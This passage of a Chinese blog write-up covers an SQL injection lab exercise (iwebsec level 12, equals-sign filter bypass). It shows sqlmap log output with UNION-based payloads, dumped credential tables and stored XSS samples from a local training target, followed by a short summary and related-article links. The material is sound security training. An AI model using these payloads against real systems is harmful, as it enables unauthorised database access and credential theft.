[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(column_name AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(column_type AS CHAR),0x20),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x75736572 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [INFO] fetching entries for table 'user' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,id,password,username)),0x7176767171),NULL FROM iwebsec.`user`-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(id AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(password AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(username AS CHAR),0x20),0x7176767171),NULL FROM iwebsec.`user`-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[09:13:06] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[09:13:06] [INFO] fetching columns for table 'users' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,column_name,column_type)),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x7573657273 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(column_name AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(column_type AS CHAR),0x20),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x7573657273 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [INFO] fetching entries for table 'users' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,password,role,username)),0x7176767171),NULL FROM iwebsec.users-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(password AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(role AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(username AS CHAR),0x20),0x7176767171),NULL FROM iwebsec.users-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[09:13:06] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[09:13:06] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,column_name,column_type)),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x787373 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(column_name AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(column_type AS CHAR),0x20),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x787373 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,id,name)),0x7176767171),NULL FROM iwebsec.xss-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(id AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(name AS CHAR),0x20),0x7176767171),NULL FROM iwebsec.xss-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[09:13:06] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[09:13:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[09:13:06] [WARNING] your sqlmap version is outdated

[*] ending @ 09:13:06 /2022-11-25/

总结

SQL注入主要分析几个内容

（1）闭合方式是什么？iwebsec的第12关关卡为数字型，无闭合

（2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功

（3）是否过滤了关键字？很明显通过源码，iwebsec的第12关卡过滤了等号关键字

了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的等号过滤绕过的SQL注入渗透内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

mooyuan天天
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
sqli-labs靶场练习笔记
11-09
### SQLi-Labs靶场练习笔记知识点概览 #### 一、SQL注入基本概念与原理 - **定义**：SQL注入是一种常见的应用层攻击方式，它利用编程中的漏洞，通过在应用程序的输入框中插入恶意SQL语句来控制后端数据库服务器。 -...
墨者靶场 post ,DB2,绕过登录，sql注入四关
最新发布
07-22
### 墨者靶场 Post、DB2、绕过登录及SQL注入四关攻略 #### 一、前言 在网络安全领域，靶场是检验安全技术能力的重要平台之一。本次攻略将详细介绍墨者靶场中的Post、DB2、绕过登录及SQL注入四个挑战关卡的解决方法...
CTF学习笔记14：iwebsec-SQL注入漏洞-12-等价函数替换过滤绕过
lvx++的博客
01-23 1298
一、该题会替换等号 二、用like代替=
iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过
mooyuan的博客
12-01 2476
打开靶场，url为id=1如下所示SQL注入主要分析几个内容（1）闭合方式是什么？iwebsec的第11关关卡为数字型，无闭合（2）注入类别是什么？这部分是普通的报错型注入（3）是否过滤了关键字？很明显通过源码，iwebsec的11关增加了addslashes和get_magic_quotes_gpc函数，可以使用16进制编码的方式进行绕过。
0x003 SQLMAP如何检测是否存在SQL注入
A345545108的博客
05-05 1042
casting = _(page) and not _(kb.originalPage) # 如果页面回显有异常字符串有True,反之为False。# 将生成的随机字符串拼接进入payload,如果我们conf的属性中prefix和suffix为空的话,这里直接就是randStr了。# 根据上面的返回来查看是否匹配了一些异常 也就是setting中定义的值和页面的内容来判断是否存在出入。随机生成长度为10的 且生成的内容的基础是HEURISTIC_CHECK_ALPHABET。
Sql注入绕过
Matheus的博客
08-01 2095
SQL注入绕过 一 双写绕过 1.过滤判断 xxx.com?id=1 访问?id=1and1=1 页面报错 1=1，发现and被过滤，这时候尝试使用双写的方式绕过，如aanndd 1=1，当and被过滤后，aanndd变成了and，所以这时传输数据库的语句是 and 1=1 ，如果当访问 order by 错误信息为”der by”这发现过滤了or，这双写or，后面注入和union注入的一致。 2.练习sqli-labs Less-25 Trick with OR & AND (过滤了or和and)
用这个函数代替Request,可以防止SQL注入.
BeautifulMouseBlog
11-29 910
用这个函数代替Request,可以防止SQL注入.Function SafeRequest(ParaName,ParaType)       ParaName:参数名称-字符型       ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)       Dim Paravalue       Paravalue=Request(ParaName)      
iwebsec sql-等价函数替换过滤绕过
Enrich_Life的博客
11-21 177
【代码】iwebsec sql-等价函数替换过滤绕过。
PHP、Apache环境中部署sqli-labs（SQL注入靶场）
01-08
PHP、Apache 环境中部署 sqli-labs（SQL 注入靶场） 知识点 1: sqli-labs 介绍 sqli-labs 是一款开源的练习 SQL 注入的靶场工具，用 PHP 代码编写而成。它需要 PHP 和 Apache 环境运行。sqli-labs 提供了一个实践 ...
CVE-2020-13933 靶场： shiro 认证绕过漏洞.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入
mooyuan的博客
11-25 2241
iwebsec靶场的SQL注入关卡共13关SQL注入漏洞，覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入，外加上二次注入，是SQL注入知识点覆盖较为全面的一个靶场。SQL注入主要分析几个内容（1）闭合方式是什么？iwebsec的第一关关卡为数字型，无闭合（2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功（3）是否过滤了关键字？很明显通过源码，iwebsec的数字型关卡无过滤任何信息。
SQL注入之——基于函数报错手工注入（insert update delete）
温柔小薛的博客
04-02 1398
基于函数报错手工注入（insert update delete） 目录基于函数报错手工注入（insert update delete）基于函数报错注入常见攻击方法技巧思路背景条件基于报错的信息获取（三个常用的用来报错的函数）实战测试insert注入（注册信息使用函数）update注入（用于用户登陆端修改用户信息）delet注入（删除相关）遇到的问题 基于函数报错注入 常见攻击方法 updata...
CTF学习笔记2：iwebsec-SQL注入漏洞-01-数字型注入
lvx++的博客
01-22 3324
提示：本篇为最简单的SQL注入入门，是在自己本地虚拟机的靶场上练习，为的是了解安全防御技术。切勿在未经授权的情况下，测试或攻击他人网站或系统，否则将承担法律责任！请学习《网络安全法》。 一、解题过程 用到的工具：Chrome浏览器和HackerBar插件 （一）题目概览 1.题目路径 2.HackerBar使用 3.测试结果集列数为3列 ?id=1 order by 4 4.给id传递-1再用union select查询自己想要的数据 （1）取得当前应用的数据库名 ?id=-1 union sele
网络安全进阶学习第十三课——SQL注入Bypass姿势
p36273的博客
08-07 1294
string：被填充的字符串，length：返回的字符串长度，pad_string：填充字符串，是个可选参数。2、只过滤一次时，双重关键字绕过，如selselectect，ununionion，oorr等。4、编码绕过：如URLEncode编码，ASCII,HEX,unicode编码绕过。用法与locate类似，返回str1字符串在str2出现的位置，没有则返回0。1、大小写绕过，如User()，dAtaBASE()，SelEct等。%EF%BC%8C这是中文的逗号，大部分不能用，但有些函数可以用。
《小迪安全》第15天 SQL注入：Oracle,MongoDB等注入
m0_56250796的博客
04-27 638
Access是非关系型数据库，直接保存在网站源码下（后缀.mdb），A网站的数据库直接保存在A网站源码目录下，B网站数据库直接保存在B网站源码目录下，互不相干。NoSQLAttack 是一个用python编写的开源的攻击工具，用来暴露网络中默认配置mongoDB的IP并且下载目标mongoDB的数据，同时还可以针对以mongoDB为后台存储的应用进行注入攻击。Mongodb的查询文档方式与其他的数据库略微不同，当进行条件查询的时候，mysql是用where，而mongodb以键值对形式进行查询。
iwebsec靶场 XXE关卡通关笔记
mooyuan的博客
11-04 1592
iwebsec靶场xxe关卡通关笔记XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据，定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义，文档元素。内部声明是直接在XML文件内部声明的，对于安全人员来说基本没用。外部声明是引用XML以外的文件，有风险。外部实体注入可能导致任意文件读取，系统命令执行，内网端口探测，攻击内网网站等等。
web渗透测试实战-SQLMAP
c_lanxiaofang的博客
05-26 8263
一、实验项目名称 web渗透测试实战-SQLMAP 二、实验目的及要求 熟悉SQL注入漏洞原理 熟悉SQLMAP工具使用。 1、获取数据库信息：数据库漏洞、数据库名、数据库版本等 python sqlmap.py -u "http://192.168.232.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=mrlv10gd9hqetfav424n3ijj51"
REGEXP注入与LIKE注入学习笔记
qwzf
08-08 3515
首发于先知社区 0x00 前言 之前已经学过SQL盲注了，也见过盲注中REGEXP注入，但没详细了解过。正好这次BJD遇到了这个，简单总结，并把题目复现一下。 0x01 注入原理 REGEXP注入，即regexp正则表达式注入。REGEXP注入，又叫盲注值正则表达式攻击。 应用场景就是盲注，原理是直接查询自己需要的数据，然后通过正则表达式进行匹配。 0x02 REGEXP注入分析 1、基本注入 select (s...
payload sql注入_REGEXP注入与LIKE注入学习笔记
weixin_39885690的博客
12-19 449
更多全球网络安全资讯尽在邑安全www.eansec.com0x00 前言之前已经学过SQL盲注了，也见过盲注中REGEXP注入，但没详细了解过。正好之前BJDCTF遇到了这个，简单总结一下REGEXP注入和LIKE注入，并进行题目复现。0x01 REGEXP注入分析注入原理REGEXP注入，即regexp正则表达式注入。REGEXP注入，又叫盲注值正则表达式攻击。应用场景就是盲注，原理是...
SQL注入学习之路：sqli-labs靶场实战解析
"sqli-labs靶场练习笔记涵盖了从2关到24关的SQL注入学习内容，适合初学者参考，涉及单引号、双引号注入，布尔盲注，数据库名、表名、列名的探测，以及利用注入进行文件写入和信息获取等技能。" 在SQL注入的学习过程...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值